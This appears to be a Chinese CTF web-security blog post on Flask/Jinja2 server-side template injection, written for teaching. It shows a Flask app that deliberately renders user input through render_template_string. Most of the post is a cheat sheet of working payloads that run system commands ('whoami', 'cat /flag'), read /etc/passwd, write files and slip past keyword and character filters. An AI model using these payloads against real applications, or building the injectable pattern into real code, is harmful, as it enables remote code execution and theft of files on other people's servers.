CTF Web安全

Python Flask SSTI模板注入

Posted on 2020-01-02,8 min read

SSTI

ssti服务端模板注入,主要为python的一些框架,jinja2,mmako,tornado,django,等
漏洞原理嘛。都是因为代码不严谨,信任用户输入,导致模板注入

模板:

模板就类似于PPT模板,现成的,只需要将内容填充进去就好了
拿到数据,放进模板,渲染引擎将数据生成html文本,返回给浏览器

Flask使用:

from flask import *
#导入模块
app=Flask(__name__)
#初始化模块
@app.route('/')
#路由,访问/,就会跳转到test函数,显示hello world!
def test():
    return "hello world!"
#启动服务,绑定0.0.0.0的80端口
app.run('0.0.0.0',80)
from flask import *
#导入模块
app=Flask(__name__)
#初始化模块
@app.route("/<username>")
#路由,访问/,就会跳转到test函数,并将动态的username传入
def test(username):
#接收username,并且返回
    return "user:%s"%username
#启动服务,绑定0.0.0.0的80端口
app.run('0.0.0.0',80)

模板渲染:

flask是使用jinja2渲染引擎,渲染方法有render_template和render_template_string两种,前者是用来渲染文件的,后来则是渲染字符串,SSTI就和字符串有关
文件格式:
├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── index.html
使用方法如下:
------------------------------------------index.html----------------------------------
<h1>{{content}}<h1>
-------------------------------------------app.py---------------------------------------
from flask import *
app=Flask(__name__)
@app.route("/")
def test():
    return render_template('index.html',content='This is Test Web!')
app.run('0.0.0.0',80)
#当访问/的时候,渲染引擎就会将content对应的值,放入html模板中
#{{}}是变量包裹标识符,不仅可以传递变量,还能传递一些简单的表达式
接下来就要开始动态的字符串渲染了。开始SSTI
from flask import *
app=Flask(__name__)
@app.route("/")
def test():
    code=request.args.get('id')
    #接收get的id值
    html='<h1>hello : %s</h1>'%(code)
    #放入html
    return render_template_string(html)
    #渲染输出
app.run('0.0.0.0',80)


我们输出恶意的JS代码时,它也会原样输出

这段代码的危害,可不止XSS
之前讲了,在{{}},可以输入一些表达式,{{2*4}}会输出8
当输出{{config}}时,就会输出flask的全局变量
在python中,object类是python中所有类的基类,定义一个类时,没指定继承哪个类,则默认继承object类,ssti大部分都是依靠基类->子类->危险函数来利用
下面开始介绍什么是类。什么是基类等。
__class__
#class用于返回该对象所属的类。比如字符串,它的对象就是字符串对象,类是<class 'str'>
__bases__
#bases用于以元组方式返回该对象的继承的基类
__mro__
#mro用于返回一个对象所继承的基类元组,和bases差不多
__subclasses__()
#subclasses用于获取类的所有子类,一般都是用这个去获取一个类下的其他模块
__init__
#init,类的初始化
__globals__
#globals用来获取function所处空间下所有可使用的module,方法,变量

[].__class__
返回了<type 'list'>,对于一个列表,它利用class来返回类,list类,而每个类都有一个bases属性,列出基类,这些都不重要,我们的目标是,通过这些,获得object类

[].__class__.__bases__
返回了(<type 'object'>,),对于一个list,用bases返回基类,成功获取到object类,这里是以元组输出的,[0]才是object

[].__class__.__mro__
我们也可以用mro来返回object,mro会返回两个

[].__class__.__bases__[0].__subclasses__()
我们使用subclasses这个方法来返回类的子类,也就是object类子类的集合,里面包含了file,os等子类,调用即可执行命令等

[].__class__.__bases__[0].__subclasses__()[40]
这里调用了第40个子类,返回的file
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
相当于file('/etc/passwd').read()

Python2

                                命令执行
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']].__dict__.values()[12].__dict__.values()[144]('whoami')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['ev'+'al']('__impo'+'rt__("o'+'s").po'+'pen("ls ").read()')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
object.__subclasses__()[40]('/etc/passwd').read()
().__class__.__mro__[1].__subclasses__()[59].__init__.__getattribute__('func_gl'+'obals')["linecache"].__dict__['o'+'s'].__dict__['popen']('who'+'ami').read()
'i34jtnfdi02\\administrator\n'
#由于我们都是要获取object类。那么直接给他object类开头。就会简短很多
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag | base64').read() }}
{{lipsum.__globals__["__builtins__"]["eval"]("__import__("os").popen("cat app.py").read()")}}
{{lipsum . __globals__.__getitem__("os").popen("cat /flag").read()}}
                                文件读取
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
[i.read()for(i)in[0x1.__class__.__base__.__subclasses__()[40]('/etc/passwd')]]
sys.stderr.__class__('/etc/passwd').read()
sys.stderr.write(sys.stderr.__class__('/etc/passwd').read())
vars(open('/flag','r').__class__)['re'+'ad'](open('/etc/passwd','r'))
                                文件写入
[].__class__.__bases__[0].__subclasses__()[40]('/tmp/test.txt','a').write('f;ag{123}')
{{aa.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27id%27)}}

Python3

                                命令执行
[].__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()
[].__class__.__base__.__subclasses__()[185].__init__.__globals__['os'].popen('whoami').read()
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')

payload千变万化。思路都一样。只要获取到object对象,然后选一个能执行命令的模块,调用即可,比如eval,os等,都可以
寻找包含os模块的脚本

num=0
for i in ''.__class__.__mro__[2].__subclasses__():
    try:
        if 'os' in i.__init__.__globals__:
            if 'os' in i.__init__.__globals__:
                print "''.__class__.__mro__[2].__subclasses__()["+str(num)+"].__init__.__globals__['os']"
    except:
        pass
    num+=1


下面介绍下过滤某些字符的绕过

[]
用__gititem__绕过
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
当返回值是数组时。可以使用pop(40)来获取
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)
黑名单
request对象绕过
id={{""[request.args.a]}}&a=__class__
过滤.
字典绕过
{{""["__class__"]["__mro__"]}}
过滤class等关键字
拼接绕过
{{""["__cla"+"ss__"]}}
在本机python上打不行,通过web可以执行
当删除了import等方法后。payload不可使用
reload('__builtins__')
可以恢复
{{[][request.args.c][request.args.b][0][request.args.s]()[76][request.args.i][request.args.g][request.args.bt].eval(request.args.d)}}&c=__class__&b=__bases__&s=__subclasses__&i=__init__&g=__globals__&bt=__builtins__&d=__import__('os').popen('cat /flag').read()

参考文章:
https://p0sec.net/index.php/archives/120/
https://xz.aliyun.com/t/6885
https://xz.aliyun.com/t/3679#toc-1
https://www.freebuf.com/column/187845.html

下一篇: PHP mt_rand 随机数安全→